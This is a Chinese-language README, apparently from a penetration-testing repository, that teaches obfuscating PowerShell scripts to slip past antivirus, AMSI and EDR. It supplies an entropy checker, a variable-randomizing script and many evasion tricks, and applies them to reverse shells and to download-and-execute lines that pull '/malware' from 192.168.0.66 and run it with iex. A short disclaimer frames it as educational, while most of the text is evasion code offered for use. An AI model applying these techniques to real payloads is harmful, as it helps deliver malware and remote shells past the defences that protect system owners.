这是一系列用于手动混淆 PowerShell 脚本以绕过基于签名的检测的技术、示例和一些理论,汇编用于教育目的。本仓库的内容是个人研究的结果,包括阅读在线材料和在进行实验室和渗透测试中的反复试验。你不应想当然地认为所有内容都一定正确。
YouTube 视频演示:youtube.com/watch?v=tGFdmAh_lXE
⚠️ 免责声明:使用本仓库中描述的技术和概念来未经授权访问你无权测试的系统是违法的。你需对自己的行为负责。不要作恶。
科学术语 entropy(熵)通常被定义为系统随机性或无序性的度量,它在 AV 规避中非常重要。这是因为恶意软件通常包含高度随机化、加密和/或编码(混淆)的代码,使其难以分析,从而难以检测。作为多种方法之一,杀毒软件会使用熵分析来识别潜在的恶意文件和载荷。
理解这一概念很重要,因为在混淆代码时,你应当留意所选改动造成的熵变化。破坏签名很容易,但如果不注意熵水平,高级的 AV/EDR 会看穿它。
需要记住的一个原则:熵越大,数据被混淆或加密的可能性就越大,文件/载荷是恶意的可能性也越大。幸运的是,有一些方法可以降低它。
Claude E. Shannon 在他 1948 年的论文 A Mathematical Theory of Communication 中引入了一个公式,可用于测量一组数据的熵。下面是一个简单的 Shannon Entropy Python 实现,你可以用来测量自己开发的载荷的熵:
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
你也可以使用这个在线 Shannon Entropy 计算器,或微软的 Sigcheck.exe(带 -a 选项)。
在开始反复试验的混淆测试以生成不被标记的载荷变体之前,成熟且优雅的做法是识别脚本中触发恶意软件检测的部分。尤其是在像 C2 命令这样的短脚本中,你也许只需做一些不起眼的改动就能立刻逃过检测。
识别此类触发点的绝佳工具是 AMSITrigger。下面是一个包含恶意脚本文件的使用示例。红色区域表示应进行混淆的部分:

你也可以通过逐块执行脚本来手动识别触发点。
在混淆脚本时,应该优先用随机名称替换变量/类/函数名称。这样,结合其他技术,你将能够轻松绕过检测。但你应该记住所开发载荷的熵。请看下面这个标准的反向 shell 脚本,它通常会被大多数(即使不是所有)AV 检测到:

现在看看下面这个经过混淆的版本:

在这个版本中,所有变量名都被替换成了 32 个字符长的随机名称。我还把 (pwd).Path 替换成了 $(gl)。该载荷的 Shannon entropy 为 4.96。在撰写本文时,MS Defender 和许多其他产品都未检测到它:

现在看看这个版本:

这个变体同样替换了所有变量名,但这次使用由 x 个 'f' 字符组成的名称,导致载荷的熵显著下降。我也在这里把 (pwd).Path 替换成了 $(gl)。同样,在撰写本文时,MS Defender 未检测到它。该载荷的 Shannon entropy 为 0.76。

⚡ 这两个变体都能绕过常见的 AV,但第二个变体具有更低的熵,在被 EDR 和其他高级反恶意软件引擎处理时可能会有更好的机会。⚠️ 我并不是说在这个示例中第二个载荷变体表现更好一定是因为熵水平(我确实无法知道,也可能是因为长度,或两者兼而有之,或谁知道呢),但这是混淆东西时需要牢记的一个重要方面,而这个示例正是为了强调这一概念。
你可以使用下面的脚本来随机化 PowerShell 脚本中的变量名。⚠️ 该脚本并不完美!如果你对大型、复杂的 PowerShell 脚本运行它,它可能会替换掉本不该替换的内容,从而破坏其功能。请谨慎使用并保持注意。
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
用其他布尔等价形式替换 $True 和 $False 值非常有趣且简单,而且这些等价形式几乎是无限的。特别是如果你已经识别出某个载荷中的检测触发点,且其中包含 $True 或 $False 值,那么只需用布尔替身替换它,你可能就能绕过检测。下面的所有示例都会计算为 True。你只需在表达式前添加一个感叹号就可以将其反转为 False(例如 ![bool]0x01):
0、Null 或 空字符串 的内容进行布尔类型转换,将返回 True:[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
True:[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True 的比较(废话):(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True 值:$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True 或 False,从而把这些东西混在一起:[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%21%5Bbool%5D%24null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
你可以通过在 cmdlet 的字符之间添加单引号和/或双引号来混淆 cmdlet,只要不是在开头。这非常有效!例如,表达式 iex "pwd" 可以替换为:
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
这有点脏,但可能会派上用场。在 Windows CMD 终端中,可以在命令字符之间插入插入符(^)符号,命令仍会被正常解释。在 PowerShell 脚本中,利用这一点的一种方式是:
cmd /c "who^am^i"

我的好友、强力黑客 Karol Musolff(@kmusolff)展示给我的一个很酷的技巧。你可以使用 Get-Command(或 gcm)配合通配符来检索任何命令的名称(字符串),包括 Path 环境变量($env:Path)中的所有非 PowerShell 文件。然后你可以使用 & 运算符将它们作为作业运行。例如,下面这一行:
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
可以被混淆为:
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
或者更好的是这个,它具有更低的 Shannon entropy 值:
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
某些循环可以用其他循环类型或函数替代。例如,While ($True){ # some code } 循环可以替换为以下形式:
一个无限 For 循环
For (;;) { # some code }
一个 Do-While 循环
Do { # some code } While ($true)
一个 Do-Until 循环
Do { # some code } Until (1 -eq 2)
一个递归函数
function runToInfinity {
# do something;
runToInfinity;
}
你可以尝试向 cmdlet 添加参数。例如,下面这一行:
iex "whoami"
可以扩展为:
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
当然,你也可以尝试相反的做法。
你可以用随机变量和函数“污染”脚本。假设以下脚本是恶意的:
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
你也许可以通过做类似的事情来破坏其签名:
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
你总是可以在脚本中寻找可以使用具有相同/相似功能的组件来替代的命令甚至整个代码块。在下面这个经典的反向 shell 脚本中,pwd 命令用于获取当前工作目录并重建 shell 的提示符值:

(pwd).Path 部分可以被下面这个奇怪、非正统的小脚本替换;虽然它甚至包含 pwd,但它确实能达到我们的目的:在保持脚本功能的同时破坏签名:
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
当然,还有一些更简单的 pwd 替代品,如 gl、get-location 和 cmd.exe /c chdir,也可以起作用,尤其是与其他技术结合使用时。
字符串的可玩之处无穷无尽。下面是一些有趣的概念。示例使用字符串 'malware':
以增加几行新行为代价,你可以将字符串转换为 here-string。
这个:
$x = 'echo malware';
iex $x;
与以下相同:
$x = 'echo malware';
iex @"
$x
"@
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
非常简单直接且经典:
'mal' + 'w' + 'ar' + 'e'
将所需值放在一个无关字符串中间,然后使用 substring() 根据起始-结束索引提取它:
'xxxmalwarexxx'.Substring(3,7)
创建一个垃圾字符串,并通过正则匹配将其替换为所需值:
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
在脚本中对你所需要的字符串进行编码并解码:
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/main/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x65))"
这只是为了让你入门。未完待续……
通过在脚本各处追加注释来混淆脚本,可能实际上光靠这一招就能奏效。
例如,一条反向 shell 命令可以这样混淆:

<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #>)
这不仅会奏效,还会降低载荷的 Shannon entropy 值(前提是你不要使用复杂的随机注释)。
有些类似恶意软件的字符串会立即触发 AMSI,在混淆脚本时,应该优先替换它们。看看这个:

只需在终端中输入字符串 'invoke-mimikatz',AMSI 就会发作(脚本甚至还没有存在/加载)。这些字符串也可能出现在注释中,因此最好删除它们,尤其是从你在网上获取的 FOS 资源中(例如来自 GitHub 的 Invoke-Mimikatz.ps1)。
*删除注释通常是个好主意。这只是一个例子。
可能是书中最古老的把戏。随机化 cmdlet 和参数的大小写可能会有帮助:
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
有时只需将变量和类移动到不同位置就可能奏效,尤其是当你已经找到检测触发点,并且它包含某个本可以在其他地方(比如脚本开头)进行的变量定义时。
有时,仅通过逐行执行恶意脚本就能实现 AV 规避。当然,在具体情况下,这可能是具有挑战性的。如果你尝试这样做,请注意那些必须作为一个整体执行的脚本块(例如,循环、try-catch 块、条件语句、函数定义等)。要测试这一点,你可以拿一个常见的 PowerShell 反向 shell 脚本(未应用混淆)并逐行执行。它会被标记吗?;)